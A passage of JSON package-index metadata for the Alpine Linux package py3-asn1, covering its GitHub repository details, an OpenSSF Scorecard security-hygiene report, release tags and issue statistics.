Rosa","role":null,"created_at":"2025-06-08T14:40:40.137Z","updated_at":"2025-06-08T14:40:40.137Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-v3.22","url":"https://pkgs.alpinelinux.org/packages?branch=v3.22","ecosystem":"alpine","default":false,"packages_count":26323,"maintainers_count":422,"namespaces_count":2,"keywords_count":4638,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1793},"icon_url":"https://github.com/alpinelinux.png","created_at":"2025-06-05T10:49:56.987Z","updated_at":"2026-08-20T05:05:42.999Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/namespaces"}},{"id":8676176,"name":"py3-asn1","ecosystem":"alpine","description":"Python3 ASN1 library","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-12-01T02:29:22.000Z","latest_release_published_at":"2023-12-01T02:29:22.000Z","latest_release_number":"0.5.1-r0","last_synced_at":"2026-08-11T12:24:59.193Z","created_at":"2023-12-20T10:26:09.603Z","updated_at":"2026-08-15T09:21:24.959Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.19/community/x86_64/py3-asn1","install_command":"apk add py3-asn1","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.959Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-asn1?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.19","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"Patrycja Rosa","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","packages_count":347,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja 